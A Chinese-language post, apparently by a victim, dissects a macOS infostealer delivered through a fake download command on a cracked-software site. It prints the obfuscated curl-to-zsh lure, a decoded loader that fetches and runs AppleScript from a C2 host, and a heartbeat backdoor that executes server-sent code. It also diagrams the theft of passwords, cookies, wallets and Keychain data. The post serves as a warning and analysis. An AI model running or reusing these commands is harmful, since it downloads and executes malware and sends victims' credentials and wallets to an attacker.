起因
在mac破解软件平台 appstorrent.org 下载破解软件 点击Download 弹出一个页面 https://a.macos-form-apps.com/
我没仔细看以为是一键安装软件的脚本,没多想就直接运行了。结果就寄了
,粗心大意害死人啊![]()
但凡仔细点都不至于中招啊,大家一定要注意啊![]()
危害
![]()
恶意代码危害 窃取账号密码、session、cookies、钱包、Keychain(密钥)、LaunchAgent、远程控制(C2 code)
![]()
![]()
![]()
不要执行本文的任何脚本 x3
第一层
伪造成github安装工具,隐藏真实意图
所有恶意脚本都关闭了日志输出,执行不会看到任何终端输出,执行完成会有 Google Update 要求后台运行(我为什么会知道?这还用问吗?
)
echo "GitHub-AppInstaller: https://dl.github.com/drive-file-stream/GitHubApplicationSetup.dmg" && curl -kfsSL $(echo 'aHR0cHM6Ly9yZXMyZXJjaC1zbDJ1dC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWM1OGMyMDg3ZjU3MjIxZTg3MTFhZDA2MWFlYmYwN2M1'|base64 -D)|zsh
GitHub-AppInstaller: https://dl.github.com/drive-file-stream/GitHubApplicationSetup.dmg
base64混淆真实执行恶意脚本
aHR0cHM6Ly9yZXMyZXJjaC1zbDJ1dC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWM1OGMyMDg3ZjU3MjIxZTg3MTFhZDA2MWFlYmYwN2M1
解码真实地址
https://res2erch-sl2ut.com/debug/loader.sh?build=c58c2087f57221e8711ad061aebf07c5
第二层
通过 Base64 + Gzip 双层压缩隐藏了真正要执行的指令
解析真实恶意代码
cat > temp_base64.txt << 'EOF'
H4sIAMhyr2kC/71U4XLjNBD+7xneYdHlLs1Mbcdpcyk90qOUQEPTpENC6QwwHsVexyKO5JPktun1GB6CJ+RJkOymTROmA3/wL+1a32p3v2/31ef+lHH/TqXOK/gGp8UMMkFjlPDXH39CjBojDSf9MVAewzQT0RxumE5BY4YL1HLp9Meh+d8lCc0UEoclBpXQItMKJNIYfvcHbCqpXPoXEhOUyCNUfiQWHs3zDL3T/kSIbCpuvTxjSsOx9fY4nWYY93le6LEopIFA68iP8drnRZbBPcwk5uB+YCALpRjl70CnyB0w3yojLQuTUMKcsrSyElMAzRAYT0RZoKKcaXaHkAgJ349HQ2cwOjke9ML+8NtRt7bzP5bCgJzhciqojAd0KQoNQ7pAYv6n9m23bU5aQv0XXof6br2y3Bjq5OlM6ub+PWCUCiAFn3Nxw0nDOR2NJ8Pj854pKBVKcxN3I4W1UNvw0Ti87P1gwOomvEapwM2liItIXxqDCf481ja+dzUJ+xcGHxUyA9fg3QW9dTUzabQh1TpXh75Pc+axnCVLT8jZZsgXkSyiPKV3LPcMFf8NmUSCJ2zmbTbkhSKqH7XKJk+9cz6DesNK7euCZXEpJiOvBLMlFIrxGeSScZ04CnkcxnbSQrxGrnca8LGUbalN6F1OuqQWkDWXDWUervBQ/0hKHDkkrxXZJVP7XJhSla48LH88qTBiamVV4l9ZKyWsbKFKcg2fledT3VZ5OSFAovZB1GoedJJ2p9UK8KATBDRuvg0oTpNmJ2q/JmsNIbVq/uxpbZisudKhPVeiMo21dT6SdAUX5g6QFUESVQtllLoqaxXa8mt14pft86s2gHsK5ERwbQx3sszxEOw0GlFoU4v/mzIFlbNRs30kz4Wwxnnr6E3gfLIE9pNy45X7wZAFpoVhufowhvLNchniLdN22/28VnEXqqUDv66to03CTT+fApKtFCzExobmw+oaCv08n2pBhxI/FKj0Kiln+53Ni1uPwRvHiSkuBA+Tgke2YY9yxFuM4MvH+0++o3/wtTacFaHzjcHba5Zk/ahQusczk+IhnIs7lmXUb3tN2DmnkZG4UOk76Bs+MzAOGI3hCoJmGLTDTqNaqT/h9Ixpv73X8fbews7Z6eR8sAsZmyN8h9FcNOAklWKB/heB1/T29zstLwj2YUwTKtkDjLwoskpgOV3aFlbbXUWS5fp9OW7dfzER9yAUrUBGVhtdNpr5ipjuPxD9N1WYibaGBwAA
EOF
cat temp_base64.txt | base64 -D | gunzip
真实恶意代码
#!/bin/zsh
# Debug loader — detect CIS and block with telemetry
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
IS_CIS="true"
fi
# Detect locale info — sanitize for JSON
LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown")
HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown")
OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown")
EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 https://icanhazip.com 2>/dev/null || curl -s --max-time 5 https://ifconfig.me 2>/dev/null || echo "unknown")
EXT_IP=$(echo "$EXT_IP" | tr -d '
')
# Build JSON safely using printf
send_debug_event() {
local EVT="$1"
local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "c58c2087f57221e8711ad061aebf07c5%" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER")
curl -s -X POST "https://res2erch-sl2ut.com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1
}
# If CIS — send cis_blocked event and exit
if [ "$IS_CIS" = "true" ]; then
send_debug_event "cis_blocked" >/dev/null 2>&1
exit 0
fi
# Not CIS — send loader_requested event
send_debug_event "loader_requested" >/dev/null 2>&1 &
daemon_function() {
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" "https://res2erch-sl2ut.com/debug/payload.applescript?build=c58c2087f57221e8711ad061aebf07c5%" | osascript
}
daemon_function "$@" &
exit 0
针对 Mac 系统的信息窃取 + 远程控制后门。
如果检测到俄语输入法,直接退出,不执行后续恶意操作
后续恶意脚本(核心恶意代码 1000+行)
https://res2erch-sl2ut.com/debug/payload.applescript?build=c58c2087f57221e8711ad061aebf07c5%
第三层
核心恶意代码
https://res2erch-sl2ut.com/debug/payload.applescript?build=c58c2087f57221e8711ad061aebf07c5%
脚本执行流程
启动
├─ 关闭 Terminal
├─ 创建临时工作目录
├─ 采集系统信息
├─ 获取用户密码(诱骗)
├─ 发送初始遥测
├─ 收集浏览器数据
├─ 收集浏览器钱包扩展
├─ 收集桌面钱包
├─ 收集 Keychain
├─ 收集 Telegram
├─ 收集用户文件
├─ 压缩数据
├─ 上传到 C2服务器
├─ 钱包软件注入
├─ 写入持久化 LaunchAgent
└─ 显示错误提示结束
恶意功能总结
关于 cookies 和 session解释, 可用实现直接登录你的账号。(不需要账号,没有登录提示,你几乎无法察觉)
| 功能 | 说明 |
|---|---|
| 系统信息收集 | 用户/IP/OS |
| 密码窃取 | 伪系统窗口 |
| 浏览器数据窃取 | cookies/password |
| 浏览器钱包 | Metamask等 |
| 桌面钱包 | 20+ |
| Telegram | session |
| Keychain | 密钥 |
| 文件抓取 | Documents |
| 数据上传 | C2 |
| 钱包感染 | asar替换 |
| 持久化 | LaunchAgent |
| 远程控制 | C2 code |
其中的base64解码脚本内容
#!/bin/bash
GATE_URL="https://res2erch-sl2ut.com"
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
BUILD_ID="948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236"
BUILD_NAME=""
HOSTNAME=$(hostname)
IP=$(curl -s https://api.ipify.org 2>/dev/null || echo unknown)
OS_VER=$(sw_vers -productVersion)
RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" -H "Content-Type: application/json" -d '{"bot_id":"'"$BOT_ID"'","build_id":"'"$BUILD_ID"'","hostname":"'"$HOSTNAME"'","ip":"'"$IP"'","os_version":"'"$OS_VER"'"}')
CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
if [ -n "$CODE" ]; then
echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh; rm -f /tmp/.c.sh
fi
发送心跳请求实时检测设备在线状态
AppleScript 持久化模块写入的后门执行器
建立长期 C2 控制并执行服务器下发的代码
系统结构
受害机器
│
│ LaunchAgent (60秒)
▼
GoogleUpdate script
│
│ heartbeat
▼
C2 Server
│
│ 返回payload
▼
base64 shell script
│
▼
执行恶意代码